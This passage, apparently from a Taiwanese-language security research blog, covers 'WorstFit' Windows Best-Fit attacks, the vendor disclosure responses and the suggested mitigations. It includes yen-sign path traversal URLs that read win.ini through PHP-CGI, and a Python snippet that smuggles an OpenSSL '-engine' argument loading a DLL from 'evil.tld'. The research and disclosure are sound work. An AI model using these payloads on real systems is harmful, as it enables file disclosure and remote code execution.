著，這就是咱攏足熟似个 path traversal 嘛，自然頭一个想法就是來試看覓像 http://victim.tld/index.php/../../../secret.txt 這款个 URL。毋過代誌毋是戇人所想遐爾簡單——這明顯袂通，因為網路伺服器佇傳予 PHP-CGI 進前，會先共路徑正規化佮驗證。若按呢，敢有可能共伊踅過？

像咱佇檔案名偷渡 (Filename Smuggling) 彼節所知影个，日本字碼頁有日圓符號 (¥) 通予人利用。像講透過送像 /index.php/..¥..¥windows/win.ini/foo 這款个請求，咱就有可能去掠著任何檔案。運作方式是按呢：

• 伺服器个看法：伺服器會共規个 /..¥..¥windows/win.ini/foo 當做額外个 PATH_INFO。
• PHP-CGI 个看法：多謝 Best-fit，PHP-CGI 會收著像 REQUEST_URI=/index.php/..\..\windows/win.ini/foo 這款个變數，伊看著彼就分袂出對佗位開始才是實際个 PHP 檔案（index.php）佮 PATH_INFO 个部份。這就予咱會當烏白控制路徑，來去讀著限制外个檔案。

這款「無仝个部份有無仝个處理理路」个狀況，定定會出現誠濟問題。踮遮隨伺服器个行為佮設定會出現各種無仝結果，像佇 Apache 來講，你使用者會得檢查伺服器頂个檔案敢有佇咧：

• 無存在个檔案：像 /index.php/..¥..¥NONEXIST/ 這款个請求，PHP-CGI 共 /..¥..¥NONEXIST/ 當做加出來个 PATH_INFO，照常共 /index.php 渲染。
• 存在个檔案：像 /index.php/..¥..¥windows/win.ini/ 這款，因為伊內部處理有效檔案个邏輯較特別，煞予伊產生「No input file specified」个錯誤。

毋過，干焦檢查檔案佇遐無當然是無夠个，踮有設定 doc_root 个 IIS 伺服器，這會得著 LFI！用像仝款 /index.php/..¥..¥..¥windows/win.ini/ 這款个路徑，咱就會當順順仔引入閣讀著任何檔案，像遮是 C:\Windows\win.ini。

做為 LFI 漏縫，當然佇真濟狀況攏會得升級變做遠端程式執行 (RCE)。

Note: 這種狀況佇真實世界个設定內底其實罕得看，所以咱共伊分類做 bug，毋是漏縫。

The Dusk － or Dawn － of the WorstFit

就像頭前所講，咱已經成功佇誠濟程式語言、開源專案、佮 Windows 內佮个命令列程式發現幾若个問題。做為負責任个研究者，咱隨共遮个問題報告予相關个維護者知。毋過，這个過程無講个遐爾簡單，逐家對這款問題个看法攏無啥仝。其中，爭議上濟个所在就是佇參數分拆（argument splitting）。咱佇這段，就是欲來重點講著咱佇報告漏縫過程中所拄著个阻礙。

🧐 彼敢真正是問題？

這應該就是廠商問了上濟个問題。反對个人講，「共使用者輸入擲去命令列，這本身就已經是漏縫矣呢」。就算講𪜶有好好仔跳脫（escaping）抑是清理（sanitization），問題个根本原仔猶是「開發者應該完全莫按呢做」。

我無確定共所有責任攏捒予開發者，這敢公平？作業系統代先就是一个足需要使用者輸入个狀況；而且，網路應用程式愈來愈複雜，欲完全無愛予使用者輸入，實在真困難。

🧐 這是仩（siáng）个責任？

好，這馬準做咱逐家攏同意這確實是一个漏縫、問題，後一个閣較複雜个代是「仩愛來負責任」——欸？敢毋是寫个人愛家己負責？——就是因為真正出問題个程式碼定定是佇編譯期間囥入去个，毋是程式開發者家己寫个，責任个歸屬煞變甲誠複雜。根源是因為「開發人員無去用正確个 wmain()」，抑是「CRT 無好好仔共 command line 切正確，共毋著个參數傳予 main()」實在誠歹分。

閣較予人感覺霧煞煞，毋知欲按怎處理个是，有寡專案干焦提供原始个程式碼，彼寡已經編譯好个 binary，是交予網路頂个第三方志願者負責來發佈。按呢，到底是愛算啥人个頭殼頂？是原始碼个作者？是編譯器个開發者？抑是發佈執行檔个志願者？閣較進一步想，這敢是會當算做是編譯器𤆬入來个安全漏縫？😉

😖 實在真歹處理啦！

阮相信大部分个維護者攏有意願趕緊共伊鬥修補——毋管這是抑毋是安全問題。毋過，這擺个問題無遐爾仔簡單。欲解決這个 WorstFit，毋但共 main() 換做闊字元个版本就好勢。因為函式簽名（function signature）已經攏變去矣，維護者就愛重寫所有个變數定義佮參數解析邏輯，共全部个 char * 攏換做 wchar_t *。這个過程咱毋免家己做就知影這會是誠痛苦个大工程，一下無細膩就會舞毋著去 😵‍💫。

➤ curl

curl 講這是 Windows 𪜶个代誌，無拍算欲共伊處理。趣味个是，Microsoft 家己徙過去个 curl 顛倒是有好好仔共 entry point 改做 wmain()，所以 Windows 本身佮个 curl.exe 無出代誌，干焦 curl 官方發布个程式才會予參數分拆攻擊害著。

下面是對 curl 來个一寡回應。恁會當佇 HackerOne 看規份个報告。

我真正是看袂出來這按怎會是 curl 个問題。對我來講，這看起來敢若較像是一个 Windows 个『功能』。伊是咧共使用者『鬥相共』，共看起來相𫝛 ASCII 个雙引號鬥換做 ASCII 雙引號。
（I'm struggling to see how this is a curl problem. It looks like a Windows "feature" to me. It is being "helpful" and helps users to convert ascii-looking double quotes to ASCII double quotes.）
— 👤 Author of curl

若是咱會當伻輕這个問題，咱就應該考慮按呢做。毋過，這是一个困難个問題，而且絕對無法度佇短時間內解決。curl 踮遮是受害者，毋是應該負責个彼方。
（If we can mitigate this we should probably consider that, but it is a hard problem and it certainly is not going to be solved in the short term. curl is a victim here, not the responsible party.）
— 👤 Author of Curl

➤ OpenSSL

這是一个誠趣味个案例。OpenSSL 有提供一个環境變數，號做 OPENSSL_WIN32_UTF8，伊个作用是改用闊字元个格式來處理參數。雖然伊原本个目的是欲修正佇使用者介面表現 UTF-8 个問題，伊嘛無意中去共參數分拆攻擊个風險伻輕去矣！

毋過，大部分个開發者猶是毋知影佇用 openssl.exe 執行檔个時陣，愛去設定這个環境變數。結果佇預設个 OpenSSL 使用方法，原仔猶是有可能利用 -engine 參數來執行任何程式碼。

passphrase = "pass\uFF02 \uFF02-engine\uFF02 \uFF02\\\\evil.tld\\malicious.dll"
subprocess.run([
    'openssl.exe', 
    "enc", 
    "-aes-256-cbc", 
    "-in", "in.txt", 
    "-out", "out.txt", 
    "-k", passphrase
])

➤ Perl

Perl 官方無提供代先就做好个 Windows 程式。一般咱攏是用像 Strawberry Perl 抑是 ActiveState Perl 這款个第三方安裝包——毋管你揀佗一个，你攏會予參數分拆攻擊害著。佮 Perl 維護者討論了後，𪜶講「這看起來嘛是較像是 Microsoft 个問題，毋是 Perl 个代誌（This seems more like a Microsoft bug than a Perl bug）」，所以到今這个問題佇 Perl 這馬猶是無處理。

➤ Microsoft

咱攏總共 MSRC 報告三項問題，毋過溝通个過程無講偌順。所有个代誌頭起先攏因為無到𪜶个嚴重標準去予人拒絕。咱煞重開 issue 幾若擺，Excel 个 issue 最後試到第三擺了後才予人接受，其他个到這馬猶是無處理。

下跤是𪜶个回應：

這个攻擊个情境，是建立踮一个無相干个程式个漏縫頂懸。這个招數个運作，愛有別項程式共無信任个使用者輸入插入去命令列內底，閣共彼條命令列走落去。這个動作家己就是一个安全問題；毋過，予咱會當利用這个問題个這个技術，袂得算做是漏縫。
（The attack scenario here depends on a vulnerability in an unrelated application. The trick inherently requires a separate application that inserts untrusted input into a command line which is then executed. That in itself is a vulnerability; however, the technique which makes exploiting the issue possible does not qualify as a vulnerability.）
— 👤 MSRC

➤ Report to CERT/CC

因為 WorstFit 是一个牽涉到規个系統个問題，咱嘛去揣 CERT/CC 看𪜶敢會當共阮鬥相共，向望會當逐家鬥陣，想一个較好个辦法來解決這个問題。經過幾若外月个骨力，Microsoft 最後有加囥一个警告踮𪜶个文件內面。毋過，𪜶干焦佇 GetCommandLineA 加彼句——但是毋但彼有問題呢，閣猶有足濟 ANSI API 愛注意啦 ¯\_(ツ)_/¯。

佇阮共漏縫揭露个過程中，咱嘛共開源程式做調查，來揣著閣較濟有出代誌个程式，閣共這盡量報予開發者知。下面是咱到這馬已經有回報个清單：

Epilogue

到遮，咱已經共 WorstFit 个攻擊攏總整理好勢矣，包括檔案名偷渡 (Filename Smuggling)、參數分拆 (Argument Splitting)、佮環境變數混亂 (Environment Variable Confusion)。每一个攻擊攏有伊會影響著个無仝 code page。恁會當看下跤个表，檢查恁家己敢會出代誌。

Mitigations

講到欲按怎阻擋這款攻擊，真歹勢，因為這是佇作業系統內面煏出來个問題，仝款个問題會直直出現——除非 Microsoft 決定共所有个 Windows 版本本底个設定攏改用 UTF-8。 佇彼以前，咱唯一會當做个就是鼓勵逐家，使用者、公司、佮寫程式个人，沓沓仔莫用 ANSI，改用闊字元 API，一步一步共環境變做一个較安全个世界！

若恁是使用者，會使做个干焦會當去檢查 Windows 內底个 UTF-8 設定，去共伊開開。毋過因為這个功能猶是佇試驗階段，敢會出啥物問題猶是未知數。

若恁是寫程式个，請盡量用闊字元 API (Wide Character API)。毋但是 Windows API，C Runtime Library 嘛有闊字元个版本通好用，像 _wgetcwd 佮 _wgetenv。若無按呢做，覕佇下跤个程式猶是會去叫 ANSI API，仝款會予咱个 WorstFit 攻擊有機會趁！

Conclusion

咱向望這篇文章，會當予恁對 WorstFit 攻擊，有一个譜脈仔个了解，予逐家知影這个攻擊是按怎來个。當然啦，這毋是結束——因為 Windows 足堅持向後相容性 (backward compatibility)，咱攏會當想著猶有足濟漏縫、攻擊面覕佇各種 ANSI API 會出現个所在。譬論講，Windows 登錄檔 (Registry) 个查詢 API RegQueryValueA 絕對嘛有受著影響，毋過就愛共有空縫个狀況揣出來。咱嘛發現 Active Directory 內底嘛有 Best-Fit 个行為，聽起來是毋是誠趣味！😉

阮鼓勵閣較濟个研究者，來去走揣這款攻擊面，期待以後會當看著閣較濟、閣較好耍个利用方法！

本 blog 个漢字主要是照教育部辭典為標準，毋過猶是包含一寡在來字用法：

• 个：个、的（ê）統一寫做「个」。參考台字田。
• 仩：誰，siáng 个在來字。參考台字田。

部份技術用詞

• 內佮：built-in
• 闊字元：wide character
• 烏名單：blacklist
• （正）撇號、倒撇號：slash、backslash，參考、改自閩南語維基百科个標點條目
• 大、細本字：大、小寫文字
• 漏縫、空縫：華語漏洞，佇這篇代表 vulnerability。
• 混亂：confusion
• 踅：bypass，華語「繞過」
• 湠澹（thuànn-tâm）試驗者：滲透測試者、penetration tester。滲透翻做「湠澹」是參考 iTaigi，我感覺唸起來誠有 fu，毋過直接文讀「滲透」做 siàm-thàu 嘛會使；「測試」基本袂佇台語聽著所以無考慮，改揀較捷看而且意思仝个「試驗」。
• 其他技術名詞攏照搬華語翻譯為主，恁會使直接照文讀音抑是慣勢个唸法來讀。